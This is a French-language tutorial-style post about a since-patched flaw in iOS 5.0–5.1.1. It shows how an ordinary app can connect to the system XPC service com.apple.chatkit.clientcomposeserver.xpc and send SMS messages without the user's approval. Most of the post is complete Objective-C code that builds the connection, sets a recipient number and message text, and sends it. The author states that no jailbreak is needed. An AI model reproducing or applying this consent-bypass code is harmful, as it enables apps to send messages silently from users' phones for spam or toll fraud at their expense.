L'un des systèmes de communication inter-processus sous MacOS est XPC. Cette couche système a été développée pour la communication inter-processus basée sur le transfert de structures plist à l'aide de libSystem et launchd. En fait, c'est une interface qui permet de gérer des processus via l'échange de structures telles que des dictionnaires. En raison de l'hérédité, iOS 5 possède également ce mécanisme.
Vous comprenez peut-être déjà ce que je veux dire par cette introduction. Oui, il existe des services système dans iOS qui incluent des outils de communication XPC. Et je veux illustrer le travail avec un démon pour l'envoi de SMS. Cependant, il convient de mentionner que cette capacité est corrigée dans iOS 6, mais est pertinente pour iOS 5.0—5.1.1. Jailbreak, Private Framework et autres outils illégaux ne sont pas requis pour son exploitation. Seul l'ensemble des fichiers d'en-tête du répertoire / usr / include / xpc / * est nécessaire.
L'un des éléments de l'envoi de SMS dans iOS est le service système com.apple.chatkit, dont les tâches incluent la génération, la gestion et l'envoi de courts messages texte. Pour la facilité de contrôle, il dispose du port de communication accessible au public com.apple.chatkit.clientcomposeserver.xpc. À l'aide du sous-système XPC, vous pouvez générer et envoyer des messages sans l'approbation de l'utilisateur.
Eh bien, essayons de créer une connexion.
xpc_connection_t myConnection;
dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT);
myConnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
Nous avons maintenant la connexion XPC myConnection définie au service d'envoi de SMS. Cependant, la configuration XPC prévoit la création de connexions suspendues - nous devons faire un pas de plus pour l'activation.
xpc_connection_set_event_handler(myConnection, ^(xpc_object_t event){
xpc_type_t xtype = xpc_get_type(event);
if(XPC_TYPE_ERROR == xtype)
{
NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
// Always set an event handler. More on this later.
NSLog(@"Received a message event!");
});
xpc_connection_resume(myConnection);
La connexion est activée. À ce moment, iOS 6 affichera un message dans le journal téléphonique indiquant que ce type de communication est interdit. Nous devons maintenant générer un dictionnaire similaire à xpc_dictionary avec les données requises pour l'envoi du message.
NSArray *recipient = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil];
NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:recipient format:200 options:0 error:NULL];
xpc_object_t mydict = xpc_dictionary_create(0, 0, 0);
xpc_dictionary_set_int64(mydict, "message-type", 0);
xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]);
xpc_dictionary_set_string(mydict, "text", "hello from your application!");
Il ne reste plus grand chose: envoyez le message au port XPC et assurez-vous qu'il est bien livré.
xpc_connection_send_message(myConnection, mydict);
xpc_connection_send_barrier(myConnection, ^{
NSLog(@"The message has been successfully delivered");
});
C'est tout. SMS envoyé.